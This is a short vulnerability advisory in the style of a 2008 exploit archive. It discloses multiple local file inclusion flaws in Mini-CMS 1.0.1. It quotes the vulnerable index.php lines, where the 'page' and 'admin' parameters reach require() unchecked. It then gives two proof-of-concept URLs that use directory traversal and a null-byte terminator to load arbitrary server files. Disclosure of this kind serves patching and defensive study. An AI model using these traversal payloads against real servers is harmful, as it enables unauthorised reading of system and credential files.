/*

  $Id: minicms-1.0.1-lfi.txt,v 0.1 2008/12/06 04:06:00 cOndemned Exp $
  
  Mini-CMS 1.0.1 (index.php) Multiple Local File Inclusion Vulnerabilities
  Discovered by cOndemned

  Download : http://www.bpowerhouse.info/mini_cms.htm
  
  Greetz : ZaBeaTy, str0ke, d2, sid.psycho, Adish, TBH & Avantura ;*

*/

Source of index.php

  [...]

  9.  $page = !empty($_GET['page']) ? $_GET['page'] : "home";
  10.  $admin = !empty($_GET['admin']) ? $_GET['admin'] : "";
  
  [...]
  
  80.  if (($page != "") && file_exists("page/" . $page . ".php")) {
  81.    require("page/" . $page . ".php");
  82.  } else if (($admin != "") && file_exists("admin/" . $admin . ".php")) {
  83.    require("admin/" . $admin . ".php");

  [...]
  

Proof of Concept

  http://[host]/[mini_cms_1.0.1_path]/index.php?page=../../../../[local_file]%00
  http://[host]/[mini_cms_1.0.1_path]/index.php?admin=../../../../[local_file]%00
  

It's the same shit as in Mini-Blog 1.0.1... I don't even know how to call it... 
Maybe double fail ? x]
  
  
EoF